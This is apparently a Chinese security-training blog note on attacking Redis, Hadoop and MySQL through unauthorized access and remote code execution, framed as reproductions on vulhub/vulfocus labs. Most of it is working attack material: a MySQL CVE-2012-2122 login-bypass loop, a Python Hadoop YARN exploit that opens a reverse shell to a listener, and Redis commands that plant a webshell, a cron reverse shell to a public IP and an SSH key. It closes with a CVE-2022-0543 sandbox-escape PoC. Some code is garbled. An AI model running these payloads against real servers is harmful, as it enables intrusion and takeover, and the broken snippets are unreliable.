网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)

本文主要是介绍网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第54天 服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE

知识点:

1、服务攻防数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
组合猜测(由于nat会导致端口扫描不到真实端口信息)、信息来源(报错、特征)
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传翰&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等
在这里插入图片描述

演示案例:

Mysq-未授权访问-CVE-2012-2122利用
Hadoop-.未授权访问-内置配合命令执行RCE
Redis-未授权访问-Webshelle&任务&密匙&RCE等

Mysq-未授权访问-CVE-2012-2122利用
复现环境:vulhub
在这里插入图片描述

for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

在这里插入图片描述

漏洞复现:

1、vulhub开启漏洞环境
在这里插入图片描述
2、攻击机:kali扫描目标端口并验证
在这里插入图片描述
在这里插入图片描述

Hadoop-未授权访问-内置配合命令执行RCE
复现环境:vulfocus
思路:访问特定

#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞复现:
1、vulhub搭建hadoop漏洞环境
在这里插入图片描述
2、攻击机kali开启nc监听端口,使用exp攻击反弹shell
在这里插入图片描述
#Redis-未授权访问-Webshell&任务&密匙&RCE等
1、写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp
#设置WEB写入目录
config set dbfilename1.php设置写入文件名
set test"c?php phpinfo):?>"#设置写入文件代码
bgsave
#保存执行
save
#保存执行
注意:部分没目录权限读写权限

2、写定时任务反单shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy “ninin*****bash->&/dev/tcp/47.94.236.117/55550>&1nnn”
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱L码,所以导致命令执行失败

3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen-t rsa
cd /root/.ssh/
(echo -e “nin”;cat id_rsa.pub;echo-e"nin")>key.txt
cat key.txt redis-cli-h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized keys
save
cd /root/.ssh/
ssh -i id rsa root@118.31.57.214

4、RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-.master…py-f123.58.236.76-p9830-L47.94.236.117-P8888-f
RedisModulesSDK/exp.so -c “id”

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_I package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”,“luaopen_io”);
local io io_I();local f=io.popen(“id”,“r”);local res f.read(“a”);f:close();return res’o
参考链接:https://blog.csdn.net/qq_40882763/article/details/129742604?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&utm_relevant_index=5
老哥写的很详细,后期我也会逐个复现

这篇关于网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/633888

相关文章

SpringBoot基于配置实现短信服务策略的动态切换

《SpringBoot基于配置实现短信服务策略的动态切换》这篇文章主要为大家详细介绍了SpringBoot在接入多个短信服务商(如阿里云、腾讯云、华为云)后,如何根据配置或环境切换使用不同的服务商,需... 目录目标功能示例配置(application.yml)配置类绑定短信发送策略接口示例:阿里云 & 腾

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

springboot项目如何开启https服务

《springboot项目如何开启https服务》:本文主要介绍springboot项目如何开启https服务方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录springboot项目开启https服务1. 生成SSL证书密钥库使用keytool生成自签名证书将

使用Node.js制作图片上传服务的详细教程

《使用Node.js制作图片上传服务的详细教程》在现代Web应用开发中,图片上传是一项常见且重要的功能,借助Node.js强大的生态系统,我们可以轻松搭建高效的图片上传服务,本文将深入探讨如何使用No... 目录准备工作搭建 Express 服务器配置 multer 进行图片上传处理图片上传请求完整代码示例

Spring LDAP目录服务的使用示例

《SpringLDAP目录服务的使用示例》本文主要介绍了SpringLDAP目录服务的使用示例... 目录引言一、Spring LDAP基础二、LdapTemplate详解三、LDAP对象映射四、基本LDAP操作4.1 查询操作4.2 添加操作4.3 修改操作4.4 删除操作五、认证与授权六、高级特性与最佳

利用Python快速搭建Markdown笔记发布系统

《利用Python快速搭建Markdown笔记发布系统》这篇文章主要为大家详细介绍了使用Python生态的成熟工具,在30分钟内搭建一个支持Markdown渲染、分类标签、全文搜索的私有化知识发布系统... 目录引言:为什么要自建知识博客一、技术选型:极简主义开发栈二、系统架构设计三、核心代码实现(分步解析

SpringSecurity6.0 如何通过JWTtoken进行认证授权

《SpringSecurity6.0如何通过JWTtoken进行认证授权》:本文主要介绍SpringSecurity6.0通过JWTtoken进行认证授权的过程,本文给大家介绍的非常详细,感兴趣... 目录项目依赖认证UserDetailService生成JWT token权限控制小结之前写过一个文章,从S

Linux上设置Ollama服务配置(常用环境变量)

《Linux上设置Ollama服务配置(常用环境变量)》本文主要介绍了Linux上设置Ollama服务配置(常用环境变量),Ollama提供了多种环境变量供配置,如调试模式、模型目录等,下面就来介绍一... 目录在 linux 上设置环境变量配置 OllamPOgxSRJfa手动安装安装特定版本查看日志在

SpringCloud之LoadBalancer负载均衡服务调用过程

《SpringCloud之LoadBalancer负载均衡服务调用过程》:本文主要介绍SpringCloud之LoadBalancer负载均衡服务调用过程,具有很好的参考价值,希望对大家有所帮助,... 目录前言一、LoadBalancer是什么?二、使用步骤1、启动consul2、客户端加入依赖3、以服务

使用Dify访问mysql数据库详细代码示例

《使用Dify访问mysql数据库详细代码示例》:本文主要介绍使用Dify访问mysql数据库的相关资料,并详细讲解了如何在本地搭建数据库访问服务,使用ngrok暴露到公网,并创建知识库、数据库访... 1、在本地搭建数据库访问的服务,并使用ngrok暴露到公网。#sql_tools.pyfrom